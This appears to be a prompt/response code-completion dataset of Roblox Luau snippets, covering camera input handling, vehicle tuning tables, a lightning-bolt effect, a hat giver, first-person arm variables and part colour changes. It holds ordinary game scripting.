	self.menuOpenedConn = GuiService.MenuOpened:connect(function()
		self:ResetInputStates()
	end)

	self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
		if self.activeGamepad ~= gamepadEnum then return end
		self.activeGamepad = nil
		self:AssignActivateGamepad()
	end)

	self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
		if self.activeGamepad == nil then
			self:AssignActivateGamepad()
		end
	end)

	self:AssignActivateGamepad()
	self:UpdateMouseBehavior()
end

function BaseCamera:BindContextActions()
	self:BindGamepadInputActions()
	self:BindKeyboardInputActions()
end

function BaseCamera:AssignActivateGamepad()
	local connectedGamepads = UserInputService:GetConnectedGamepads()
	if #connectedGamepads > 0 then
		for i = 1, #connectedGamepads do
			if self.activeGamepad == nil then
				self.activeGamepad = connectedGamepads[i]
			elseif connectedGamepads[i].Value < self.activeGamepad.Value then
				self.activeGamepad = connectedGamepads[i]
			end
		end
	end

	if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
		self.activeGamepad = Enum.UserInputType.Gamepad1
	end
end

function BaseCamera:DisconnectInputEvents()
	if self.inputBeganConn then
		self.inputBeganConn:Disconnect()
		self.inputBeganConn = nil
	end
	if self.inputChangedConn then
		self.inputChangedConn:Disconnect()
		self.inputChangedConn = nil
	end
	if self.inputEndedConn then
		self.inputEndedConn:Disconnect()
		self.inputEndedConn = nil
	end
end

function BaseCamera:UnbindContextActions()
	for i = 1, #self.boundContextActions do
		ContextActionService:UnbindAction(self.boundContextActions[i])
	end
	self.boundContextActions = {}
end

function BaseCamera:Cleanup()
	if self.pointerActionConn then
		self.pointerActionConn:Disconnect()
		self.pointerActionConn = nil
	end
	if self.menuOpenedConn then
		self.menuOpenedConn:Disconnect()
		self.menuOpenedConn = nil
	end
	if self.mouseLockToggleConn then
		self.mouseLockToggleConn:Disconnect()
		self.mouseLockToggleConn = nil
	end
	if self.gamepadConnectedConn then
		self.gamepadConnectedConn:Disconnect()
		self.gamepadConnectedConn = nil
	end
	if self.gamepadDisconnectedConn then
		self.gamepadDisconnectedConn:Disconnect()
		self.gamepadDisconnectedConn = nil
	end
	if self.subjectStateChangedConn then
		self.subjectStateChangedConn:Disconnect()
		self.subjectStateChangedConn = nil
	end
	if self.viewportSizeChangedConn then
		self.viewportSizeChangedConn:Disconnect()
		self.viewportSizeChangedConn = nil
	end
	if self.touchActivateConn then
		self.touchActivateConn:Disconnect()
		self.touchActivateConn = nil
	end

	self.turningLeft = false
	self.turningRight = false
	self.lastCameraTransform = nil
	self.lastSubjectCFrame = nil
	self.userPanningTheCamera = false
	self.rotateInput = Vector2.new()
	self.gamepadPanningCamera = Vector2.new(0,0)

	-- Reset input states
	self.startPos = nil
	self.lastPos = nil
	self.panBeginLook = nil
	self.isRightMouseDown = false
	self.isMiddleMouseDown = false

	self.fingerTouches = {}
	self.dynamicTouchInput = nil
	self.numUnsunkTouches = 0

	self.startingDiff = nil
	self.pinchBeginZoom = nil

	-- Unlock mouse for example if right mouse button was being held down
	if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
		UserInputService.MouseBehavior = Enum.MouseBehavior.Default
	end
end


Response:
local  Paint = false

script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Olive",Paint)
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
local u1 = nil;
local u2 = require(script.LightningBolt);
function v1.Bolt(p1, p2, p3, p4, p5)
	local v2 = Instance.new("Part");
	v2.Size = Vector3.new(0, 0, 0);
	v2.Transparency = 1;
	v2.Anchored = true;
	v2.CanCollide = false;
	v2.Parent = workspace;
	local v3 = v2:Clone();
	local l__Ignored__4 = workspace.Ignored;
	v2.Parent = l__Ignored__4;
	v3.Parent = l__Ignored__4;
	v2.Position = p1;
	v3.Position = p2;
	local v5 = CFrame.fromAxisAngle((v3.Position - v2.Position).Unit, 2 * math.random(0.1, 10) * math.pi);
	local v6 = Instance.new("Attachment");
	local v7 = Instance.new("Attachment");
	v6.Parent = v2;
	v7.Parent = v3;
	v6.WorldAxis = v5 * v6.WorldAxis;
	v7.WorldAxis = v5 * v7.WorldAxis;
	if p5 == true then
		u1.Explode(v3.Position, 1, 20, Color3.fromRGB(90, 80, 255), Color3.fromRGB(90, 80, 255), Vector3.new(0, 2, 0), p4);
	end;
	local u3 = u2.new(v6, v7, p3);
	coroutine.resume(coroutine.create(function()
		wait(p4);
		u3:Destroy();
		v2:Destroy();
		v3:Destroy();
		v6:Destroy();
		v7:Destroy();
	end));
	return u3;
end;
function v1.Explode(p6, p7, p8, p9, p10, p11, p12, p13)
	local v8 = require(script.LightningBolt.LightningExplosion);
	v8.new(p6, p7, p8, p9, p10, p11);
	return v8;
end;
function v1.Sparks(p14, p15)
	return require(script.LightningBolt.LightningSparks).new(p14, p15);
end;
u1 = v1;
return nil;


Prompt: --[[Transmission]]

Response:
	Tune.TransModes		= {"Semi"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch

		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}
		>First mode is default mode													]]

	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]
	Tune.AutoUpThresh	= -200		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)


Prompt: -- (Hat Giver Script - Loaded.)

Response:
debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "GreenTopHat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle"
		p.formFactor = 0
		p.Size = Vector3.new(0,-0.25,0)
		p.BottomSurface = 0
		p.TopSurface = 0
		p.Locked = true
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.25,0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --//////// DO NOT EDIT BELOW UNLESS YOU KNOW WHAT YOU'RE DOING \\\\\\\\\\\\\\\\\\\\\\\\\

Response:
local uis = game:GetService("UserInputService")
local runservice = game:GetService("RunService")
local tweenservice = game:GetService("TweenService")
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local camera = workspace.CurrentCamera
local character = player.Character or player.CharacterAdded:Wait()
local rootpart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local torso
local roothip
local lowertorso
local oldc0
local leftshoulder
local rightshoulder
local larm
local rarm
local armparts = {}
local rigtype = nil

local isrunning = false
local armsvisible = true -- whether the arms are visible in first person
local armtransparency = firstperson_arm_transparency
local isfirstperson = false
local sway = Vector3.new(0,0,0)
local walksway = CFrame.new(0,0,0)
local strafesway = CFrame.Angles(0,0,0)
local jumpsway = CFrame.new(0,0,0)
local jumpswaygoal = Instance.new("CFrameValue")


Prompt: --[[ Script Variables ]]

Response:
--
while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer

local Tools = {}
local ToolEquipped = nil

local RevertAutoJumpEnabledToFalse = false

local ThumbstickFrame = nil
local GestureArea = nil
local StartImage = nil
local EndImage = nil
local MiddleImages = {}

local MoveTouchObject = nil
local IsFollowStick = false
local ThumbstickFrame = nil
local OnMoveTouchEnded = nil		-- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local TouchActivateCn = nil
local OnRenderSteppedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
local IsFirstTouch = true


Response:
local _WHEELTUNE = {
																		--[[
			SS6 Presets
	[Eco]
		WearSpeed = 1,
		TargetFriction = .7,
		MinFriction = .1,
	[Road]
		WearSpeed = 2,
		TargetFriction = .7,
		MinFriction = .1,
	[Sport]
		WearSpeed = 3,
		TargetFriction = .79,
		MinFriction = .1,											]]

	TireWearOn 		= true	,

	--Friction and Wear
	FWearSpeed		= 5.0	,
	FTargetFriction	= 1.1	,
	FMinFriction 	= .5	,

	RWearSpeed		= 9.0	,
	RTargetFriction	= 2.0	,
	RMinFriction	= .5	,

	--Tire Slip
	TCSOffRatio		= 1/3	,
	WheelLockRatio	= 1/2	,	--SS6 Default = 1/4
	WheelspinRatio	= 1/1.1	,	--SS6 Default = 1/1.2

	--Wheel Properties
	FFrictionWeight	= 1		,	--SS6 Default = 1
	RFrictionWeight	= 1		,	--SS6 Default = 1
	FLgcyFrWeight	= 10	,
	RLgcyFrWeight	= 10	,

	FElasticity		= 0		,	--SS6 Default = .5
	RElasticity		= 0		,	--SS6 Default = .5
	FLgcyElasticity	= 0		,
	RLgcyElasticity	= 0		,

	FElastWeight	= 1		,	--SS6 Default = 1
	RElastWeight	= 1		,	--SS6 Default = 1
	FLgcyElWeight	= 10	,
	RLgcyElWeight	= 10	,

	--Wear Regen
	RegenSpeed		= 9.8		--SS6 Default = 3.6
}


Prompt:
--[[
	Destroys the component
]]

Response:
function Window:destroy()
	for _, connection in pairs(self._connections) do
		connection:Disconnect()
	end
end
return Window


Prompt: --------LEFT DOOR --------

Response:
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(106)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(1023)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)